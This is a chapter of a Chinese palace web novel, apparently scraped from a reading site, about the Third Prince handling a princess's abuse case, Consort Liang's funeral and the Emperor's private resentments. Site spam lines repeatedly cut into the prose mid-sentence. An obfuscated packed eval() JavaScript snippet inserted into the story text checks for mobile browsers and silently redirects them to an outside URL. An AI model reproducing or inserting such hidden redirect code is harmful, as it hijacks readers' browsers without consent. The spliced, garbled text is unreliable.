第252章

作品:《三阿哥又在发癫

    三阿哥现在是急急国王他只想快点把这里的事情解决然后赶紧回京城。


    家事都是什么脏东西啊!扯不断理还乱你这里为他们辛苦奔波当事人又心软又原谅带不动根本带不动。


    八阿哥私底下也难得说了些重话“三哥你看看我说什么来着?家务事不是那么好管的!你这里为他们筹谋他们未必领情恐怕还要抱怨你多管闲事。”


    三阿哥垂头丧气乖乖听八阿哥抱怨。


    八阿哥劝道:“差不多行了他们是一家人闹的再凶回头又和好了只有你里外不是人。你堂堂太子何必得罪人呢?”


    这话有些道理但三阿哥不能赞同。


    “即便我得罪了三姐姐和外甥女从此之后亲戚之间不再往来我也要重重处置了额驸。公主远嫁蒙古背井离乡的本来就很可怜娘家的支持和照应尤其重要。


    三公主的事情是第一例后人恐怕会以她的例子处理类似的事情。若是高高抬手轻轻放过后面的公主怎么办?也叫她们忍者让着?


    这不是三公主一个人的问题!我要给其他额驸一个警告!公主就是公主不是他们可以轻慢欺侮的!”


    三阿哥执意如此八阿哥劝不动只能听他的。


    太子仪仗到了太医也到了。太医诊脉他们也说公主伤及脏腑必须好生调养


    公主伤得很重心情又不好不适合赶路三阿哥便把太医留下他和八阿哥押着额驸先行回京。


    晚些时候公主的女儿求见她希望太子舅舅劝劝皇上帮她们说两句好话允许她们母女回京城居住从此再不会喀喇沁。


    这倒是让三阿哥高看一眼这一家子只有这女孩子还算通透。


    “只有你和你母亲回京吗?”


    “是的兄长是世子将来会继承爵位他不可能跟我们一起回京。额娘那里还惦记着兄长不过我会劝她的。”


    三阿哥点了点头没有直接答应她到底是个孩子未必能做得了大人的主。


    他嘱咐孩子好生照顾三公主等她们下定决心了再给他传信到时候会有人来接。


    事情就这样定下来三公主留下养病额驸和世子跟着三阿哥他们回京听候皇上发落。


    一行人回到京城剩下的事情就不需要三阿哥处理了。额驸对皇上心怀怨愤大庭广众之下就敢说皇上的坏话此事可大可小没被抓住天高皇帝远说了就说了可他前脚打了公主后脚抱怨皇上还被三阿哥和八阿哥抓个正着他别想有好果子


    你的朋友正在书荒,快去帮帮他吧


    吃。


    三阿哥抓完人就不管了回到府里洗个热水澡吃了东西呼呼大睡。难为他将近四十岁的人还得这样奔波劳累。


    他出去一趟瘦了一大圈塔娜也心疼他又是命人请大夫配补药又让厨房准备滋补的汤水还命人配了许多珍珠粉。瘦一点不要紧可三阿哥都被吹黑了这可不咋好看赶紧白回来才是正经!


    三阿哥睡够了半夜醒了过来塔娜原本睡了听到他翻身坐起的动静她也挣扎着爬了起来。


    “你醒了?饿不饿我让厨房给你煮点宵夜。”


    三阿哥看了看自鸣钟“都后半夜了还折腾什么?屋里有点心吗?我吃两块垫垫就行了。”


    塔娜披上衣服给他拿点心倒茶外头值夜的听见动静要进来伺候让塔娜给打发了。


    “这一次出去可还顺利?”


    三阿哥点点头“来回路上都顺利


    三阿哥把事情经过一一道来塔娜听完点点头很不在意的样子。


    “这几天你不在茉莉就跟我说了三公主是别人戳一下她就动一下的性子。心里头恨又能怎样孩子一劝一哭她肯定要心软的。”


    三阿哥叹道:“外甥女想回京还不知道事情能不能成且随他们去吧!一个人有一个人的活法!我多管闲事做事严苛已经遭人记恨了。”


    “记恨又如何!敢打公主反了天了这种事情三公主求情也没用这一次饶过了还有下一次。再说了她轻轻放过其他公主怎么办?是不是额驸们都能殴打公主啊?反正打完了说是失手谁知道他们是真失手还是假失手!”


    塔娜翻个白眼“我最厌恶这种男人他们是中风了吗?怎么那么容易就失手怎么从来不见有人在皇上面前失手的!说到底还不是欺软怕硬!”


    三阿哥附和道:“说的就是呢!”


    三阿哥吞下最后一块点心擦掉手指上的碎屑。


    “我不在的这些日子京城如何?”


    “还是那样宫里太后和皇后的病好了唯有良妃娘娘……”塔娜叹息一声心里也为这个漂亮的女人惋惜“她的病是心病拖了几年了这几日别人的病刚好她却病了这一回看着不大好。偏偏八弟随你去了草原这件事他现在应该知道了吧……”


    三阿哥皱了皱眉“怎么没人往草原传信?皇上是什么意思?”


    “没什么意思……皇上只派人看过两次。”


    这就有点太冷漠了良妃已经是这种状况了皇上好歹亲自去看看啊!


    三阿哥撇撇嘴什么也没说皇上想怎样便怎样谁也管不了


    你的朋友正在书荒,快去帮帮他吧


    。


    夫妻俩说了些家常闲话,三阿哥漱了口,很快又睡下了。第二天他有点流鼻涕,索性请了太医,让他们把症状说的严重一点,他离京一趟,累的够呛,干脆称病在家清净几日。


    良妃病重,还不知道能不能熬过去。三阿哥劝塔娜经常去探病,他是不方便去看的,只能麻烦塔娜多辛苦。虽然跟八阿哥之间有些不愉快,但良妃都到这个份上了,他们也不能太冷漠了。


    三阿哥在家歇了七八天,才勉强觉得缓过劲来。他到底不是小年轻了,高强度的骑马活动,还没休息又处理事情,然后再赶路回京,身上颠的骨头疼,他实在是禁不住。


    他在家休养,宫里的事情,朝廷的事情,他一概不管不问,只想清净清净。


    三额驸的处罚很快下来了,皇上很默契的没有提三公主被打的事情,只是针对三额驸妄议皇上的事情,以及强抢民女等恶事,夺去他的爵位,将他软禁关押。


    三公主那里写信回来,说想常年回京居住,希望皇上应允。信上没有提和离的事情,但额驸都关起来了,这就是想和离回娘家的意思。


    皇上因为对三公主的一点愧疚,允许她回京久居,也允许她带上女儿。至于外孙嘛!继承额驸的爵位,只是要降一级,由亲王变成郡王。


    三公主的事情就算解决了,但很快,京城又发生了几件事情。头一件就是良妃娘娘病逝,第二件是佟国纲病逝。


    佟国纲年纪大了,身上又带着旧伤,能活到这个岁数算是高寿了。


    皇上派梁九功前去吊唁,众皇子也去了佟佳氏府上,只有八阿哥没有来。


    同样是办丧事,良妃娘娘是后宫妃嫔,看起来与皇上更亲近,但事实上这里冷冷清清,比佟国纲的丧事差远了。


    八阿哥和八福晋勉强支应着,心里很不是滋味。


    八阿哥跪在灵前,讥讽地笑了笑。


    “额娘走了,我万万没想到竟然是这样的场面。


    八福晋知道他心里难受,忙拍了拍他的背,“别这样说,也是赶巧了,没想到会碰到一起。佟国纲是国舅,皇上宠信佟佳氏,佟佳氏一族亲朋故旧也多,旁人自然也得给几分面子。


    八阿哥心道:这就是看人下菜碟,前些年他正红火的时候,所有人都上赶着烧热灶,现在皇上厌恶他,他在朝堂沉寂下来,十四弟在西边大放光彩,这么大的事情也没人来了。这就是风水轮流转,早些年他卑微无名,做了那么多努力,陪了那么多笑脸,花了那么多心思,最后还是这样。


    八阿哥又是心灰,又是愤恨。


    这是自己的枕边人,八福晋最知道他的心思,看八阿哥的样子就知道他又钻牛角尖了


    你的朋友正在书荒,快去帮帮他吧


    ,她劝了几句,八阿哥瞪着眼睛也不听,八福晋叹了口气,也懒得再劝了。


    八阿哥心里烦恼,她就不烦吗?自从废太子,众臣都举荐八阿哥后,他们家就好像没过一天的好日子。


    皇上说他们利欲熏心,可不争不抢就是这样的结果!


    夫妻俩相对无言,这时三阿哥和塔娜过来了。


    内务府官员引着他们到前面上香行礼,八阿哥和八福晋忙过来迎接。


    “三哥……”八阿哥张了张嘴,“你怎么来了?”


    “这么大的事情我怎能不来?”


    一向机灵的他问了一个傻问题,“你没去佟佳氏府里吗?”


    “去了,我跟佟国纲私交不错,怎能不去?不过我是太子,露个面,坐一会儿就算礼数周全了。家里还有事,我要是一直在那,就不太像话了。”


    不用别人让,三阿哥坐在八阿哥身边。若是来人吊唁,三阿哥和八阿哥一起上前迎接,跟九阿哥和十阿哥是一样的礼数。


    按理说他是太子,他倒不必和八阿哥一模一样,可他一直在这里陪着,直到傍晚皇上叫他,他才和塔娜离开。


    八福晋叹了口气,“还是三哥有人情味。”


    皇上叫三阿哥过来,确实有几件要紧事。


    “再过些日子就是太后的七十大寿了,你好好准备,这是整寿,老人家年纪这样大了,咱们要办得热热闹闹的,讨她高兴。”


    三阿哥点头应下,“是!皇阿玛有什么想法吗?”


    你这个甲方有要求就快点提!不要跟我说什么五彩斑斓的黑!


    皇上想了想,“我也想了很久,我想在席间为太后唱祝寿的歌。你觉得怎样?”


    三阿哥挑眉,自己发癫的时候总爱唱两句,但却不知道皇上唱歌是什么样子。


    “皇阿玛现在来两句,我帮你参详参详。”


    皇上有点不好意思,他咳嗽两声,清清嗓子,唱了两句常见的祝寿歌。


    三阿哥听完直接化身面瘫,他有个疑问,唱歌的人听不到自己的歌声吗?还是说皇上被人捧习惯了,没有自知之明。


    优秀的乙方开始为皇上描补,“我觉得唱歌不太好,皇阿玛唱歌只能太后听到,传不到太远的地方。离得远的只能看见您张嘴,根本不知道您在唱歌,这样怎么显示您对太后的一片纯孝之心呢!”


    皇上恍然,“哦!有道理!唱歌确实不好!那……叫旁人唱歌,我来跳祝寿的舞蹈吧!”


    三阿哥连连点头,“我看可以!”


    皇上的运动细胞还是很发达的,跳舞应该不成问题。


    皇上又提了几点要求,比如菜色要软烂,符合太后的胃口,最好是能长时间保温的菜品,宴会时间太长了,菜


    如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦


    品很容易凉掉,太后年纪大了,吃不得冷硬的东西。


    另外就是皇子皇孙等晚辈的礼物,一定要尽心!他让三阿哥跟下面的人打个招呼,这次寿宴他很重视,不许皇子们敷衍!


    花销上不用俭省,难得一次的寿宴,他舍得给太后花钱。


    皇上啰啰嗦嗦说了一堆,三阿哥仔细记在脑子里。


    说完这些,皇上又说了几件朝堂的事情。一直聊到掌灯时分,皇上才停下来。


    “今夜你别回去了,去毓庆宫住吧!明日直接上早朝!”


    皇上端起茶盏,喝了一口润润喉咙。


    三阿哥想问问他,良妃和佟大国舅都不在了,你就不伤心吗?你在这里悠闲地讨论太后的寿宴,心里真实的想法是什么呢?


    三阿哥迟迟没答话,皇上瞥了他一眼。


    “你走神了?在想什么?”


    “哦!没什么!可能是累了吧!”


    皇上点点头,轻轻叹了口气。


    “是啊!人活着就是劳累辛苦……”


    父子俩沉默了一会儿,皇上突然问道:“良妃的葬礼……可有疏漏?”


    三阿哥愣了一下,连忙摇头,“没有疏漏,内务府官员还算尽心。”


    “你在那里待了大半天?”


    “嗯,我看八弟心情不太好,陪着待了一会儿。”


    皇上笑了笑,“你倒是不记仇,那时候老八污蔑老四,你气得要命,恨不得吃了他,现在又和好了?”


    “什么好不好的,不过是帮个忙


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17120318|169172||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    罢了,良妃娘娘也是庶母,尽一份心而已。”


    皇上捶了捶膝盖,他看着烛火轻轻叹气。


    “你是个心宽的好孩子,我就不行……我根本没消气,我心里恨啊!”


    三阿哥讶异地微微抬头,他没想到皇上会跟他说这个。


    恨?他恨谁?恨什么?


    皇上没看三阿哥的脸,他只是自顾自地说话。


    “刚废了保成没多久,我就后悔了。当时众臣逼我立太子,我命他们举荐,想试试大臣们的态度,这可好,全部举荐老八!


    亏我那么信任他,这些年精心培养他,他就是这样回报我的!勾结大臣,逼我立储,他眼里到底有没有我这个父亲!”


    皇上越说越激动,他愤恨地拍了拍桌子,吓三阿哥一大跳。


    “皇阿玛息怒,已经是过去的事情了。八弟已经知错,现在也老实许多,今日没几个人去八弟那里。大臣们就像苍蝇似的,八弟已经没有利用价值了,他们也就慢慢疏远了。”


    “哼!你懂什么!只是凑巧而已,众人都去佟佳氏府里,不然你再看!”


    皇上骂完八阿哥又开始骂佟佳氏。


    “按理说,佟国纲去世,我应该亲自去一趟,可我


    听说和异性朋友讨论本书情节的,很容易发展成恋人哦


    不想去!我自从登基以来,就各种优待佟佳氏,结果呢?他们也帮着老八,我还没死呢!他们就急着讨好新君了!我这些年对他们的好算什么!难道全是我上赶着讨好吗?”


    三阿哥这才明白皇上的心情,他不是不伤心,他完全不像外表那样不在意这些事情。


    他或许也是想给良妃和佟国纲一些恩典,只是他恨意难消。


    太子被废那一段时间,算是皇上人生中的至暗时刻,那是他亲手养大的儿子,做了那么多年储君,他亲手废掉,他如何不痛?


    在他最脆弱的时候,八阿哥横空出世,佟佳氏也跑出来支持他,皇上全都恨上了。


    皇上骂完人,心情好了许多。他并不愿意泄露自己的想法,难得敞开心扉,虽然发泄了心中的情绪,但又有些羞恼。


    “你还愣着干什么?傻乎乎的,像山林里的野狍子!什么都指不上你!天天除了吃就是睡!还不赶紧回去休息,明天早朝不许迟了,也不许开小差,要是让我抓到,看我怎么罚你!”


    三阿哥点头哈腰,赶紧退出去。


    梁九功送他一段,路上劝他别生气。


    “皇上不过是顺嘴骂两句,他现在像老小孩似的,得哄着劝着,您千万别往心里去。”


    三阿哥叹气,“我要是跟他一般见识,这些年早气炸了。我从小到大都在顺着他,你一直跟着皇上,你是看在眼里的啊!”


    梁九功:别说这些莫须有的事情好吗?我只看着你从小到大一边蹦跳一边发疯。


    “唉,大家私底下都说咱们皇上冷心冷情,但奴才心里知道,皇上心里是期望别人关怀的。罢了,我说这些可能像是为皇上开脱,不过呢,个人有个人的难处。


    八阿哥许是觉得皇上冷酷无情,皇上又觉得他辜负皇恩,这种事情咱们说不明白,讲道理都讲不清。”


    三阿哥赞道:“梁总管活的通透,可不就是这样嘛!所以咱不用为别人说话,也不用点评什么,类似的事情,落到谁身上都不好受。”


    梁九功压低声音说道:“其实吧!皇上是有些小心眼!”


    三阿哥举起拳头,竖起一根大拇指。


    两人心照不宣,一致点头赞同。


    梁九功轻声跟三阿哥分享八卦。


    “您知道嘛?内务府有个小管事,也叫索额图。”


    “呦!这不重名了嘛!”


    如果给皇上最怨恨的人排个名词,索额图排第一,虽然他被流放了,但皇上时不时就会生出杀意,很想追加一道圣旨把他杀了。


    梁九功叹气,“叫这个名字也是受苦了,有时候内务府报上来的东西,写着他的名字,皇上看见了就摔东西。后来我偷偷嘱咐下面,让别人写


    听说和异性朋友讨论本书情节的,很容易发展成恋人哦


    名字报上来,何必因为这点小事惹皇上不耐烦。”


    “是是是,公公做得对。”


    梁九功:“然后有一次皇上马上要过生日了,他特意传令下去,给索额图放了五天假。”


    八阿哥挑眉,“嚯!还有这种好事!”


    梁九功摊手,“万岁爷生辰,就想有个好心情,到时候宫宴什么的,索额图肯定要帮着操办,各处走动,皇上想让自己高兴一点,就吩咐他别来上班了,他就想要一份清净。”


    三阿哥:“……”


    三阿哥伸出两个拳头,弹出大拇指,这种时候,除了竖拇指,他也无话可说了。


    皇上对索额图是有多恨啊!应激创伤到了这种程度吗?看见一样的名字都受不了吗?


    梁九功弯腰拱手,“我不能离开太久,三爷请回吧!奴才不送了!”


    三阿哥摇手跟他拜拜,“你回去忙吧!改日再聊!”


    梁九功直起身,扶着腰哎呦一声。


    “这是怎么了?”


    “唉,人老了,胳膊腿也不好使了,最近就是腰疼,贴了膏药也不管用。”


    三阿哥想想梁九功的年纪,他也到退休年龄了,这么大岁数还在伺候皇上,确实不容易。


    “伺候皇上可不是一件容易的事,你要不要退下来,在京城找个宅子养老啊?”


    梁九功心里一跳,谁不想安生养老呢!他做总管这么多年,也攒了许多钱,可是他这么大年纪了,还不知这养老钱够不够花呢!


    “这……这……”


    三阿哥笑道:“早些年我帮你交了五险一金呢!你忘了吗?”


    五险这个词梁九功记住了,那时候三阿哥说每月固定交给他一笔银子,将来他老了,三阿哥按月发放。


    “我也没交啊?”


    三阿哥笑道:“所以嘛!你那时候抠抠搜搜,所以现在的五险一金只有我交的一部分,你每月的退休金缩减了,这就怪你喽!”